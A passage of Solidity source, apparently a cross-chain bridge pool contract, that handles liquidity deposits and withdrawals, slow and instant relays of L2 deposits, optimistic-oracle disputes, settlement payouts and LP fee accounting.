// Total bond amount held for pending relays. Bonds are released following a successful relay or after a dispute.
uint256 public bonds;
// Administrative contract that deployed this contract and also houses all state variables needed to relay deposits.
BridgeAdminInterface public bridgeAdmin;
// Store local instances of the contract instances to save gas relaying. Can be sync with the Finder at any time via
// the syncUmaEcosystemParams() public function.
StoreInterface public store;
SkinnyOptimisticOracleInterface public optimisticOracle;
// DVM price request identifier that is resolved based on the validity of a relay attempt.
bytes32 public identifier;
// A Relay represents an attempt to finalize a cross-chain transfer that originated on an L2 DepositBox contract.
// The flow chart between states is as follows:
// - Begin at Uninitialized.
// - When relayDeposit() is called, a new relay is created with state Pending and mapped to the L2 deposit hash.
// - If the relay is disputed, the RelayData gets deleted and the L2 deposit hash has no relay mapped to it anymore.
// - The above statements enable state to transfer between the Uninitialized and Pending states.
// - When settleRelay() is successfully called, the relay state gets set to Finalized and cannot change from there.
// - It is impossible for a relay to be deleted when in Finalized state (and have its state set to Uninitialized)
// because the only way for settleRelay() to succeed is if the price has resolved on the OptimisticOracle.
// - You cannot dispute an already resolved request on the OptimisticOracle. Moreover, the mapping from
// a relay's ancillary data hash to its deposit hash is deleted after a successful settleRelay() call.
enum RelayState { Uninitialized, Pending, Finalized }
// Data from L2 deposit transaction.
struct DepositData {
uint256 chainId;
uint64 depositId;
address payable l1Recipient;
address l2Sender;
uint256 amount;
uint64 slowRelayFeePct;
uint64 instantRelayFeePct;
uint32 quoteTimestamp;
}
// Each L2 Deposit can have one Relay attempt at any one time. A Relay attempt is characterized by its RelayData.
struct RelayData {
RelayState relayState;
address slowRelayer;
uint32 relayId;
uint64 realizedLpFeePct;
uint32 priceRequestTime;
uint256 proposerBond;
uint256 finalFee;
}
// Associate deposits with pending relay data. When the mapped relay hash is empty, new relay attempts can be made
// for this deposit. The relay data contains information necessary to pay out relayers on successful relay.
// Relay hashes are deleted when they are disputed on the OptimisticOracle.
mapping(bytes32 => bytes32) public relays;
// Map hash of deposit and realized-relay fee to instant relayers. This mapping is checked at settlement time
// to determine if there was a valid instant relayer.
mapping(bytes32 => address) public instantRelays;
event LiquidityAdded(uint256 amount, uint256 lpTokensMinted, address indexed liquidityProvider);
event LiquidityRemoved(uint256 amount, uint256 lpTokensBurnt, address indexed liquidityProvider);
event DepositRelayed(
bytes32 indexed depositHash,
DepositData depositData,
RelayData relay,
bytes32 relayAncillaryDataHash
);
event RelaySpedUp(bytes32 indexed depositHash, address indexed instantRelayer, RelayData relay);
// Note: the difference between a dispute and a cancellation is that a cancellation happens in the case where
// something changes in the OO between request and dispute that causes calls to it to fail. The most common
// case would be an increase in final fee. However, things like whitelisting can also cause problems.
event RelayDisputed(bytes32 indexed depositHash, bytes32 indexed relayHash, address indexed disputer);
event RelayCanceled(bytes32 indexed depositHash, bytes32 indexed relayHash, address indexed disputer);
event RelaySettled(bytes32 indexed depositHash, address indexed caller, RelayData relay);
event BridgePoolAdminTransferred(address oldAdmin, address newAdmin);
event RelaysEnabledSet(bool newRelaysEnabled);
event LpFeeRateSet(uint64 newLpFeeRatePerSecond);
modifier onlyBridgeAdmin() {
require(msg.sender == address(bridgeAdmin), "Caller not bridge admin");
_;
}
modifier onlyIfRelaysEnabld() {
require(relaysEnabled, "Relays are disabled");
_;
}
/**
* @notice Construct the Bridge Pool.
* @param _lpTokenName Name of the LP token to be deployed by this contract.
* @param _lpTokenSymbol Symbol of the LP token to be deployed by this contract.
* @param _bridgeAdmin Admin contract deployed alongside on L1. Stores global variables and has owner control.
* @param _l1Token Address of the L1 token that this bridgePool holds. This is the token LPs deposit and is bridged.
* @param _lpFeeRatePerSecond Interest rate payment that scales the amount of pending fees per second paid to LPs.
* @param _isWethPool Toggles if this is the WETH pool. If it is then can accept ETH and wrap to WETH for the user.
* @param _timer Timer used to synchronize contract time in testing. Set to 0x000... in production.
*/
constructor(
string memory _lpTokenName,
string memory _lpTokenSymbol,
address _bridgeAdmin,
address _l1Token,
uint64 _lpFeeRatePerSecond,
bool _isWethPool,
address _timer
) Testable(_timer) ERC20(_lpTokenName, _lpTokenSymbol) {
require(bytes(_lpTokenName).length != 0 && bytes(_lpTokenSymbol).length != 0, "Bad LP token name or symbol");
bridgeAdmin = BridgeAdminInterface(_bridgeAdmin);
l1Token = IERC20(_l1Token);
lastLpFeeUpdate = uint32(getCurrentTime());
lpFeeRatePerSecond = _lpFeeRatePerSecond;
isWethPool = _isWethPool;
syncUmaEcosystemParams(); // Fetch OptimisticOracle and Store addresses and L1Token finalFee.
syncWithBridgeAdminParams(); // Fetch ProposerBondPct OptimisticOracleLiveness, Identifier from the BridgeAdmin.
emit LpFeeRateSet(lpFeeRatePerSecond);
}
/*************************************************
* LIQUIDITY PROVIDER FUNCTIONS *
*************************************************/
/**
* @notice Add liquidity to the bridge pool. Pulls l1Token from the caller's wallet. The caller is sent back a
* commensurate number of LP tokens (minted to their address) at the prevailing exchange rate.
* @dev The caller must approve this contract to transfer `l1TokenAmount` amount of l1Token if depositing ERC20.
* @dev The caller can deposit ETH which is auto wrapped to WETH. This can only be done if: a) this is the Weth pool
* and b) the l1TokenAmount matches to the transaction msg.value.
* @dev Reentrancy guard not added to this function because this indirectly calls sync() which is guarded.
* @param l1TokenAmount Number of l1Token to add as liquidity.
*/
function addLiquidity(uint256 l1TokenAmount) public payable nonReentrant() {
// If this is the weth pool and the caller sends msg.value then the msg.value must match the l1TokenAmount.
// Else, msg.value must be set to 0.
require((isWethPool && msg.value == l1TokenAmount) || msg.value == 0, "Bad add liquidity Eth value");
// Since `exchangeRateCurrent()` reads this contract's balance and updates contract state using it,
// we must call it first before transferring any tokens to this contract.
uint256 lpTokensToMint = (l1TokenAmount * 1e18) / _exchangeRateCurrent();
_mint(msg.sender, lpTokensToMint);
liquidReserves += l1TokenAmount;
if (msg.value > 0 && isWethPool) WETH9Like(address(l1Token)).deposit{ value: msg.value }();
else l1Token.safeTransferFrom(msg.sender, address(this), l1TokenAmount);
emit LiquidityAdded(l1TokenAmount, lpTokensToMint, msg.sender);
}
/**
* @notice Removes liquidity from the bridge pool. Burns lpTokenAmount LP tokens from the caller's wallet. The caller
* is sent back a commensurate number of l1Tokens at the prevailing exchange rate.
* @dev The caller does not need to approve the spending of LP tokens as this method directly uses the burn logic.
* @dev Reentrancy guard not added to this function because this indirectly calls sync() which is guarded.
* @param lpTokenAmount Number of lpTokens to redeem for underlying.
* @param sendEth Enable the liquidity provider to remove liquidity in ETH, if this is the WETH pool.
*/
function removeLiquidity(uint256 lpTokenAmount, bool sendEth) public nonReentrant() {
// Can only send eth on withdrawing liquidity iff this is the WETH pool.
require(!sendEth || isWethPool, "Cant send eth");
uint256 l1TokensToReturn = (lpTokenAmount * _exchangeRateCurrent()) / 1e18;
// Check that there is enough liquid reserves to withdraw the requested amount.
require(liquidReserves >= (pendingReserves + l1TokensToReturn), "Utilization too high to remove");
_burn(msg.sender, lpTokenAmount);
liquidReserves -= l1TokensToReturn;
if (sendEth) _unwrapWETHTo(payable(msg.sender), l1TokensToReturn);
else l1Token.safeTransfer(msg.sender, l1TokensToReturn);
emit LiquidityRemoved(l1TokensToReturn, lpTokenAmount, msg.sender);
}
/**************************************
* RELAYER FUNCTIONS *
**************************************/
/**
* @notice Called by Relayer to execute a slow + fast relay from L2 to L1, fulfilling a corresponding deposit order.
* @dev There can only be one pending relay for a deposit. This method is effectively the relayDeposit and
* speedUpRelay methods concatenated. This could be refactored to just call each method, but there
* are some gas savings in combining the transfers and hash computations.
* @dev Caller must have approved this contract to spend the total bond + amount - fees for `l1Token`.
* @dev This function can only be called if relays are enabled for this bridge pool.
* @param depositData the deposit data struct containing all the user's deposit information.
* @param realizedLpFeePct LP fee calculated off-chain considering the L1 pool liquidity at deposit time, before
* quoteTimestamp. The OO acts to verify the correctness of this realized fee. Cannot exceed 50%.
*/
function relayAndSpeedUp(DepositData memory depositData, uint64 realizedLpFeePct)
public
onlyIfRelaysEnabld()
nonReentrant()
{
// If no pending relay for this deposit, then associate the caller's relay attempt with it.
uint32 priceRequestTime = uint32(getCurrentTime());
// The realizedLPFeePct should never be greater than 0.5e18 and the slow and instant relay fees should never be
// more than 0.25e18 each. Therefore, the sum of all fee types can never exceed 1e18 (or 100%).
require(
depositData.slowRelayFeePct <= 0.25e18 &&
depositData.instantRelayFeePct <= 0.25e18 &&
realizedLpFeePct <= 0.5e18,
"Invalid fees"
);
// Check if there is a pending relay for this deposit.
bytes32 depositHash = _getDepositHash(depositData);
// Note: A disputed relay deletes the stored relay hash and enables this require statement to pass.
require(relays[depositHash] == bytes32(0), "Pending relay exists");
uint256 proposerBond = _getProposerBond(depositData.amount);
// Save hash of new relay attempt parameters.
// Note: The liveness for this relay can be changed in the BridgeAdmin, which means that each relay has a
// potentially variable liveness time. This should not provide any exploit opportunities, especially because
// the BridgeAdmin state (including the liveness value) is permissioned to the cross domained owner.
RelayData memory relayData =
RelayData({
relayState: RelayState.Pending,
slowRelayer: msg.sender,
relayId: numberOfRelays++, // Note: Increment numberOfRelays at the same time as setting relayId to its current value.
realizedLpFeePct: realizedLpFeePct,
priceRequestTime: priceRequestTime,
proposerBond: proposerBond,
finalFee: l1TokenFinalFee
});
bytes32 relayHash = _getRelayHash(depositData, relayData);
relays[depositHash] = _getRelayDataHash(relayData);
bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
require(
// Can only speed up a pending relay without an existing instant relay associated with it.
instantRelays[instantRelayHash] == address(0),
"Relay cannot be sped up"
);
// Sanity check that pool has enough balance to cover relay amount + proposer reward. Reward amount will be
// paid on settlement after the OptimisticOracle price request has passed the challenge period.
// Note: liquidReserves should always be <= balance - bonds.
require(liquidReserves - pendingReserves >= depositData.amount, "Insufficient pool balance");
// Compute total proposal bond and pull from caller so that the OptimisticOracle can pull it from here.
uint256 totalBond = proposerBond + l1TokenFinalFee;
// Pull relay amount minus fees from caller and send to the deposit l1Recipient. The total fees paid is the sum
// of the LP fees, the relayer fees and the instant relay fee.
uint256 feesTotal =
_getAmountFromPct(
relayData.realizedLpFeePct + depositData.slowRelayFeePct + depositData.instantRelayFeePct,
depositData.amount
);
// If the L1 token is WETH then: a) pull WETH from instant relayer b) unwrap WETH c) send ETH to recipient.
uint256 recipientAmount = depositData.amount - feesTotal;
bonds += totalBond;
pendingReserves += depositData.amount; // Book off maximum liquidity used by this relay in the pending reserves.
instantRelays[instantRelayHash] = msg.sender;
l1Token.safeTransferFrom(msg.sender, address(this), recipientAmount + totalBond);
// If this is a weth pool then unwrap and send eth.
if (isWethPool) {
_unwrapWETHTo(depositData.l1Recipient, recipientAmount);
// Else, this is a normal ERC20 token. Send to recipient.
} else l1Token.safeTransfer(depositData.l1Recipient, recipientAmount);
emit DepositRelayed(depositHash, depositData, relayData, relayHash);
emit RelaySpedUp(depositHash, msg.sender, relayData);
}
/**
* @notice Called by Disputer to dispute an ongoing relay.
* @dev The result of this method is to always throw out the relay, providing an opportunity for another relay for
* the same deposit. Between the disputer and proposer, whoever is incorrect loses their bond. Whoever is correct
* gets it back + a payout.
* @dev Caller must have approved this contract to spend the total bond + amount - fees for `l1Token`.
* @param depositData the deposit data struct containing all the user's deposit information.
* @param relayData RelayData logged in the disputed relay.
*/
function disputeRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
require(relayData.priceRequestTime + optimisticOracleLiveness > getCurrentTime(), "Past liveness");
require(relayData.relayState == RelayState.Pending, "Not disputable");
// Validate the input data.
bytes32 depositHash = _getDepositHash(depositData);
_validateRelayDataHash(depositHash, relayData);
// Submit the proposal and dispute to the OO.
bytes32 relayHash = _getRelayHash(depositData, relayData);
// Note: in some cases this will fail due to changes in the OO and the method will refund the relayer.
bool success =
_requestProposeDispute(
relayData.slowRelayer,
msg.sender,
relayData.proposerBond,
relayData.finalFee,
_getRelayAncillaryData(relayHash)
);
// Drop the relay and remove the bond from the tracked bonds.
bonds -= relayData.finalFee + relayData.proposerBond;
pendingReserves -= depositData.amount;
delete relays[depositHash];
if (success) emit RelayDisputed(depositHash, _getRelayDataHash(relayData), msg.sender);
else emit RelayCanceled(depositHash, _getRelayDataHash(relayData), msg.sender);
}
/**
* @notice Called by Relayer to execute a slow relay from L2 to L1, fulfilling a corresponding deposit order.
* @dev There can only be one pending relay for a deposit.
* @dev Caller must have approved this contract to spend the total bond + amount - fees for `l1Token`.
* @dev This function can only be called if relays are enabled for this bridge pool.
* @param depositData the deposit data struct containing all the user's deposit information.
* @param realizedLpFeePct LP fee calculated off-chain considering the L1 pool liquidity at deposit time, before
* quoteTimestamp. The OO acts to verify the correctness of this realized fee. Cannot exceed 50%.
*/
function relayDeposit(DepositData memory depositData, uint64 realizedLpFeePct)
public
onlyIfRelaysEnabld()
nonReentrant()
{
// The realizedLPFeePct should never be greater than 0.5e18 and the slow and instant relay fees should never be
// more than 0.25e18 each. Therefore, the sum of all fee types can never exceed 1e18 (or 100%).
require(
depositData.slowRelayFeePct <= 0.25e18 &&
depositData.instantRelayFeePct <= 0.25e18 &&
realizedLpFeePct <= 0.5e18,
"Invalid fees"
);
// Check if there is a pending relay for this deposit.
bytes32 depositHash = _getDepositHash(depositData);
// Note: A disputed relay deletes the stored relay hash and enables this require statement to pass.
require(relays[depositHash] == bytes32(0), "Pending relay exists");
// If no pending relay for this deposit, then associate the caller's relay attempt with it.
uint32 priceRequestTime = uint32(getCurrentTime());
uint256 proposerBond = _getProposerBond(depositData.amount);
// Save hash of new relay attempt parameters.
// Note: The liveness for this relay can be changed in the BridgeAdmin, which means that each relay has a
// potentially variable liveness time. This should not provide any exploit opportunities, especially because
// the BridgeAdmin state (including the liveness value) is permissioned to the cross domained owner.
RelayData memory relayData =
RelayData({
relayState: RelayState.Pending,
slowRelayer: msg.sender,
relayId: numberOfRelays++, // Note: Increment numberOfRelays at the same time as setting relayId to its current value.
realizedLpFeePct: realizedLpFeePct,
priceRequestTime: priceRequestTime,
proposerBond: proposerBond,
finalFee: l1TokenFinalFee
});
relays[depositHash] = _getRelayDataHash(relayData);
bytes32 relayHash = _getRelayHash(depositData, relayData);
// Sanity check that pool has enough balance to cover relay amount + proposer reward. Reward amount will be
// paid on settlement after the OptimisticOracle price request has passed the challenge period.
// Note: liquidReserves should always be <= balance - bonds.
require(liquidReserves - pendingReserves >= depositData.amount, "Insufficient pool balance");
// Compute total proposal bond and pull from caller so that the OptimisticOracle can pull it from here.
uint256 totalBond = proposerBond + l1TokenFinalFee;
pendingReserves += depositData.amount; // Book off maximum liquidity used by this relay in the pending reserves.
bonds += totalBond;
l1Token.safeTransferFrom(msg.sender, address(this), totalBond);
emit DepositRelayed(depositHash, depositData, relayData, relayHash);
}
/**
* @notice Instantly relay a deposit amount minus fees to the l1Recipient. Instant relayer earns a reward following
* the pending relay challenge period.
* @dev We assume that the caller has performed an off-chain check that the deposit data they are attempting to
* relay is valid. If the deposit data is invalid, then the instant relayer has no recourse to receive their funds
* back after the invalid deposit data is disputed. Moreover, no one will be able to resubmit a relay for the
* invalid deposit data because they know it will get disputed again. On the other hand, if the deposit data is
* valid, then even if it is falsely disputed, the instant relayer will eventually get reimbursed because someone
* else will be incentivized to resubmit the relay to earn slow relayer rewards. Once the valid relay is finalized,
* the instant relayer will be reimbursed. Therefore, the caller has the same responsibility as the disputer in
* validating the relay data.
* @dev Caller must have approved this contract to spend the deposit amount of L1 tokens to relay. There can only
* be one instant relayer per relay attempt. You cannot speed up a relay that is past liveness.
* @param depositData Unique set of L2 deposit data that caller is trying to instantly relay.
* @param relayData Parameters of Relay that caller is attempting to speedup. Must hash to the stored relay hash
* for this deposit or this method will revert.
*/
function speedUpRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
bytes32 depositHash = _getDepositHash(depositData);
_validateRelayDataHash(depositHash, relayData);
bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
require(
// Can only speed up a pending relay without an existing instant relay associated with it.
getCurrentTime() < relayData.priceRequestTime + optimisticOracleLiveness &&
relayData.relayState == RelayState.Pending &&
instantRelays[instantRelayHash] == address(0),
"Relay cannot be sped up"
);
instantRelays[instantRelayHash] = msg.sender;
// Pull relay amount minus fees from caller and send to the deposit l1Recipient. The total fees paid is the sum
// of the LP fees, the relayer fees and the instant relay fee.
uint256 feesTotal =
_getAmountFromPct(
relayData.realizedLpFeePct + depositData.slowRelayFeePct + depositData.instantRelayFeePct,
depositData.amount
);
// If the L1 token is WETH then: a) pull WETH from instant relayer b) unwrap WETH c) send ETH to recipient.
uint256 recipientAmount = depositData.amount - feesTotal;
if (isWethPool) {
l1Token.safeTransferFrom(msg.sender, address(this), recipientAmount);
_unwrapWETHTo(depositData.l1Recipient, recipientAmount);
// Else, this is a normal ERC20 token. Send to recipient.
} else l1Token.safeTransferFrom(msg.sender, depositData.l1Recipient, recipientAmount);
emit RelaySpedUp(depositHash, msg.sender, relayData);
}
/**
* @notice Reward relayers if a pending relay price request has a price available on the OptimisticOracle. Mark
* the relay as complete.
* @dev We use the relayData and depositData to compute the ancillary data that the relay price request is uniquely
* associated with on the OptimisticOracle. If the price request passed in does not match the pending relay price
* request, then this will revert.
* @param depositData Unique set of L2 deposit data that caller is trying to settle a relay for.
* @param relayData Parameters of Relay that caller is attempting to settle. Must hash to the stored relay hash
* for this deposit.
*/
function settleRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
bytes32 depositHash = _getDepositHash(depositData);
_validateRelayDataHash(depositHash, relayData);
require(relayData.relayState == RelayState.Pending, "Already settled");
uint32 expirationTime = relayData.priceRequestTime + optimisticOracleLiveness;
require(expirationTime <= getCurrentTime(), "Not settleable yet");
// Note: this check is to give the relayer a small, but reasonable amount of time to complete the relay before
// before it can be "stolen" by someone else. This is to ensure there is an incentive to settle relays quickly.
require(
msg.sender == relayData.slowRelayer || getCurrentTime() > expirationTime + 15 minutes,
"Not slow relayer"
);
// Update the relay state to Finalized. This prevents any re-settling of a relay.
relays[depositHash] = _getRelayDataHash(
RelayData({
relayState: RelayState.Finalized,
slowRelayer: relayData.slowRelayer,
relayId: relayData.relayId,
realizedLpFeePct: relayData.realizedLpFeePct,
priceRequestTime: relayData.priceRequestTime,
proposerBond: relayData.proposerBond,
finalFee: relayData.finalFee
})
);
// Reward relayers and pay out l1Recipient.
// At this point there are two possible cases:
// - This was a slow relay: In this case, a) pay the slow relayer their reward and b) pay the l1Recipient of the
// amount minus the realized LP fee and the slow Relay fee. The transfer was not sped up so no instant fee.
// - This was an instant relay: In this case, a) pay the slow relayer their reward and b) pay the instant relayer
// the full bridging amount, minus the realized LP fee and minus the slow relay fee. When the instant
// relayer called speedUpRelay they were docked this same amount, minus the instant relayer fee. As a
// result, they are effectively paid what they spent when speeding up the relay + the instantRelayFee.
uint256 instantRelayerOrRecipientAmount =
depositData.amount -
_getAmountFromPct(relayData.realizedLpFeePct + depositData.slowRelayFeePct, depositData.amount);
// Refund the instant relayer iff the instant relay params match the approved relay.
bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
address instantRelayer = instantRelays[instantRelayHash];
// If this is the WETH pool and the instant relayer is is address 0x0 (i.e the relay was not sped up) then:
// a) withdraw WETH to ETH and b) send the ETH to the recipient.
if (isWethPool && instantRelayer == address(0)) {
_unwrapWETHTo(depositData.l1Recipient, instantRelayerOrRecipientAmount);
// Else, this is a normal slow relay being finalizes where the contract sends ERC20 to the recipient OR this
// is the finalization of an instant relay where we need to reimburse the instant relayer in WETH.
} else
l1Token.safeTransfer(
instantRelayer != address(0) ? instantRelayer : depositData.l1Recipient,
instantRelayerOrRecipientAmount
);
// There is a fee and a bond to pay out. The fee goes to whoever settles. The bond always goes back to the
// slow relayer.
// Note: for gas efficiency, we use an if so we can combine these transfers in the event that they are the same
// address.
uint256 slowRelayerReward = _getAmountFromPct(depositData.slowRelayFeePct, depositData.amount);
uint256 totalBond = relayData.finalFee + relayData.proposerBond;
if (relayData.slowRelayer == msg.sender)
l1Token.safeTransfer(relayData.slowRelayer, slowRelayerReward + totalBond);
else {
l1Token.safeTransfer(relayData.slowRelayer, totalBond);
l1Token.safeTransfer(msg.sender, slowRelayerReward);
}
uint256 totalReservesSent = instantRelayerOrRecipientAmount + slowRelayerReward;
// Update reserves by amounts changed and allocated LP fees.
pendingReserves -= depositData.amount;
liquidReserves -= totalReservesSent;
utilizedReserves += int256(totalReservesSent);
bonds -= totalBond;
_updateAccumulatedLpFees();
_allocateLpFees(_getAmountFromPct(relayData.realizedLpFeePct, depositData.amount));
emit RelaySettled(depositHash, msg.sender, relayData);
// Clean up state storage and receive gas refund. This also prevents `priceDisputed()` from being able to reset
// this newly Finalized relay state.
delete instantRelays[instantRelayHash];
}
/**
* @notice Synchronize any balance changes in this contract with the utilized & liquid reserves. This would be done
* at the conclusion of an L2 -> L1 token transfer via the canonical token bridge.
*/
function sync() public nonReentrant() {
_sync();
}
/**
* @notice Computes the exchange rate between LP tokens and L1Tokens. Used when adding/removing liquidity.
* @return The updated exchange rate between LP tokens and L1 tokens.
*/
function exchangeRateCurrent() public nonReentrant() returns (uint256) {
return _exchangeRateCurrent();
}
/**
* @notice Computes the current liquidity utilization ratio.
* @dev Used in computing realizedLpFeePct off-chain.
* @return The current utilization ratio.
*/
function liquidityUtilizationCurrent() public nonReentrant() returns (uint256) {
return _liquidityUtilizationPostRelay(0);
}
/**
* @notice Computes the liquidity utilization ratio post a relay of known size.
* @dev Used in computing realizedLpFeePct off-chain.
* @param relayedAmount Size of the relayed deposit to factor into the utilization calculation.
* @return The updated utilization ratio accounting for a new `relayedAmount`.
*/
function liquidityUtilizationPostRelay(uint256 relayedAmount) public nonReentrant() returns (uint256) {
return _liquidityUtilizationPostRelay(relayedAmount);
}
/**
* @notice Return both the current utilization value and liquidity utilization post the relay.
* @dev Used in computing realizedLpFeePct off-chain.
* @param relayedAmount Size of the relayed deposit to factor into the utilization calculation.
* @return utilizationCurrent The current utilization ratio.
* @return utilizationPostRelay The updated utilization ratio accounting for a new `relayedAmount`.
*/
function getLiquidityUtilization(uint256 relayedAmount)
public
nonReentrant()
returns (uint256 utilizationCurrent, uint256 utilizationPostRelay)
{
return (_liquidityUtilizationPostRelay(0), _liquidityUtilizationPostRelay(relayedAmount));
}
/**
* @notice Updates the address stored in this contract for the OptimisticOracle and the Store to the latest versions
* set in the the Finder. Also pull finalFee Store these as local variables to make relay methods gas efficient.
* @dev There is no risk of leaving this function public for anyone to call as in all cases we want the addresses
* in this contract to map to the latest version in the Finder and store the latest final fee.
*/
function syncUmaEcosystemParams() public nonReentrant() {
FinderInterface finder = FinderInterface(bridgeAdmin.finder());
optimisticOracle = SkinnyOptimisticOracleInterface(
finder.getImplementationAddress(OracleInterfaces.SkinnyOptimisticOracle)
);
store = StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
l1TokenFinalFee = store.computeFinalFee(address(l1Token)).rawValue;
}
/**
* @notice Updates the values of stored constants for the proposerBondPct, optimisticOracleLiveness and identifier
* to that set in the bridge Admin. We store these as local variables to make the relay methods more gas efficient.
* @dev There is no risk of leaving this function public for anyone to call as in all cases we want these values
* in this contract to map to the latest version set in the BridgeAdmin.
*/
function syncWithBridgeAdminParams() public nonReentrant() {
proposerBondPct = bridgeAdmin.proposerBondPct();
optimisticOracleLiveness = bridgeAdmin.optimisticOracleLiveness();
identifier = bridgeAdmin.identifier();
}
/************************************
* ADMIN FUNCTIONS *
************************************/
/**
* @notice Enable the current bridge admin to transfer admin to to a new address.
* @dev Caller must be BridgeAdmin contract.
* @param _newAdmin Admin address of the new admin.
*/
function changeAdmin(address _newAdmin) public override onlyBridgeAdmin() nonReentrant() {
bridgeAdmin = BridgeAdminInterface(_newAdmin);
emit BridgePoolAdminTransferred(msg.sender, _newAdmin);
}
/**
* @notice Enable the bridge admin to change the decay rate at which LP shares accumulate fees. The higher this
* value, the faster LP shares realize pending fees.
* @dev Caller must be BridgeAdmin contract.
* @param _newLpFeeRatePerSecond The new rate to set.
*/
function setLpFeeRatePerSecond(uint64 _newLpFeeRatePerSecond) public override onlyBridgeAdmin() nonReentrant() {
lpFeeRatePerSecond = _newLpFeeRatePerSecond;
emit LpFeeRateSet(lpFeeRatePerSecond);
}
/**
* @notice Enable the bridge admin to enable/disable relays for this pool. Acts as a pause. Only effects
* relayDeposit and relayAndSpeedUp methods. ALl other contract logic remains functional after a pause.
* @dev Caller must be BridgeAdmin contract.
* @param _relaysEnabled The new relaysEnabled state.
*/
function setRelaysEnabled(bool _relaysEnabled) public override onlyBridgeAdmin() nonReentrant() {
relaysEnabled = _relaysEnabled;
emit RelaysEnabledSet(_relaysEnabled);
}
/************************************
* VIEW FUNCTIONS *
************************************/
/**
* @notice Computes the current amount of unallocated fees that have accumulated from the previous time this the
* contract was called.
*/
function getAccumulatedFees() public view nonReentrantView() returns (uint256) {
return _getAccumulatedFees();
}
/**
* @notice Returns ancillary data containing all relevant Relay data that voters can format into UTF8 and use to
* determine if the relay is valid.
* @dev Helpful method to test that ancillary data is constructed properly. We should consider removing if we don't
* anticipate off-chain bots or users to call this method.
* @param depositData Contains L2 deposit information used by off-chain validators to validate relay.
* @param relayData Contains relay information used by off-chain validators to validate relay.
* @return bytes New ancillary data that can be decoded into UTF8.
*/
function getRelayAncillaryData(DepositData memory depositData, RelayData memory relayData)
public
view
nonReentrantView()
returns (bytes memory)
{
return _getRelayAncillaryData(_getRelayHash(depositData, relayData));
}
/**************************************
* INTERNAL & PRIVATE FUNCTIONS *
**************************************/
function _liquidityUtilizationPostRelay(uint256 relayedAmount) internal returns (uint256) {
_sync(); // Fetch any balance changes due to token bridging finalization and factor them in.
// liquidityUtilizationRatio :=
// (relayedAmount + pendingReserves + max(utilizedReserves,0)) / (liquidReserves + max(utilizedReserves,0))
// UtilizedReserves has a dual meaning: if it's greater than zero then it represents funds pending in the bridge
// that will flow from L2 to L1. In this case, we can use it normally in the equation. However, if it is
// negative, then it is already counted in liquidReserves. This occurs if tokens are transferred directly to the
// contract. In this case, ignore it as it is captured in liquid reserves and has no meaning in the numerator.
uint256 flooredUtilizedReserves = utilizedReserves > 0 ? uint256(utilizedReserves) : 0;
uint256 numerator = relayedAmount + pendingReserves + flooredUtilizedReserves;
uint256 denominator = liquidReserves + flooredUtilizedReserves;
// If the denominator equals zero, return 1e18 (max utilization).
if (denominator == 0) return 1e18;
// In all other cases, return the utilization ratio.
return (numerator * 1e18) / denominator;
}
function _sync() internal {
// Check if the l1Token balance of the contract is greater than the liquidReserves. If it is then the bridging
// action from L2 -> L1 has concluded and the local accounting can be updated.
uint256 l1TokenBalance = l1Token.balanceOf(address(this)) - bonds;
if (l1TokenBalance > liquidReserves) {
// utilizedReserves can go to less than zero. This will happen if the accumulated fees exceeds the current
// outstanding utilization. In other words, if outstanding bridging transfers are 0 then utilizedReserves
// will equal the total LP fees accumulated over all time.
utilizedReserves -= int256(l1TokenBalance - liquidReserves);
liquidReserves = l1TokenBalance;
}
}
function _exchangeRateCurrent() internal returns (uint256) {
if (totalSupply() == 0) return 1e18; // initial rate is 1 pre any mint action.
// First, update fee counters and local accounting of finalized transfers from L2 -> L1.
_updateAccumulatedLpFees(); // Accumulate all allocated fees from the last time this method was called.
_sync(); // Fetch any balance changes due to token bridging finalization and factor them in.
// ExchangeRate := (liquidReserves + utilizedReserves - undistributedLpFees) / lpTokenSupply
// Note that utilizedReserves can be negative. If this is the case, then liquidReserves is offset by an equal
// and opposite size. LiquidReserves + utilizedReserves will always be larger than undistributedLpFees so this
// int will always be positive so there is no risk in underflow in type casting in the return line.
int256 numerator = int256(liquidReserves) + utilizedReserves - int256(undistributedLpFees);
return (uint256(numerator) * 1e18) / totalSupply();
}
// Return UTF8-decodable ancillary data for relay price request associated with relay hash.
function _getRelayAncillaryData(bytes32 relayHash) private pure returns (bytes memory) {
return AncillaryData.appendKeyValueBytes32("", "relayHash", relayHash);
}
// Returns hash of unique relay and deposit event. This is added to the relay request's ancillary data.
function _getRelayHash(DepositData memory depositData, RelayData memory relayData) private view returns (bytes32) {
return keccak256(abi.encode(depositData, relayData.relayId, relayData.realizedLpFeePct, address(l1Token)));
}
// Return hash of relay data, which is stored in state and mapped to a deposit hash.
function _getRelayDataHash(RelayData memory relayData) private pure returns (bytes32) {
return keccak256(abi.encode(relayData));
}
// Reverts if the stored relay data hash for `depositHash` does not match `_relayData`.
function _validateRelayDataHash(bytes32 depositHash, RelayData memory relayData) private view {
require(
relays[depositHash] == _getRelayDataHash(relayData),
"Hashed relay params do not match existing relay hash for deposit"
);
}
// Return hash of unique instant relay and deposit event. This is stored in state and mapped to a deposit hash.
function _getInstantRelayHash(bytes32 depositHash, RelayData memory relayData) private pure returns (bytes32) {
// Only include parameters that affect the "correctness" of an instant relay. For example, the realized LP fee
// % directly affects how many tokens the instant relayer needs to send to the user, whereas the address of the
// instant relayer does not matter for determining whether an instant relay is "correct".
return keccak256(abi.encode(depositHash, relayData.realizedLpFeePct));
}
function _getAccumulatedFees() internal view returns (uint256) {
// UnallocatedLpFees := min(undistributedLpFees*lpFeeRatePerSecond*timeFromLastInteraction,undistributedLpFees)
// The min acts to pay out all fees in the case the equation returns more than the remaining a fees.
uint256 possibleUnpaidFees =
(undistributedLpFees * lpFeeRatePerSecond * (getCurrentTime() - lastLpFeeUpdate)) / (1e18);
return possibleUnpaidFees < undistributedLpFees ? possibleUnpaidFees : undistributedLpFees;
}
// Update internal fee counters by adding in any accumulated fees from the last time this logic was called.
function _updateAccumulatedLpFees() internal {
// Calculate the unallocatedAccumulatedFees from the last time the contract was called.
uint256 unallocatedAccumulatedFees = _getAccumulatedFees();
// Decrement the undistributedLpFees by the amount of accumulated fees.
undistributedLpFees = undistributedLpFees - unallocatedAccumulatedFees;
lastLpFeeUpdate = uint32(getCurrentTime());
}
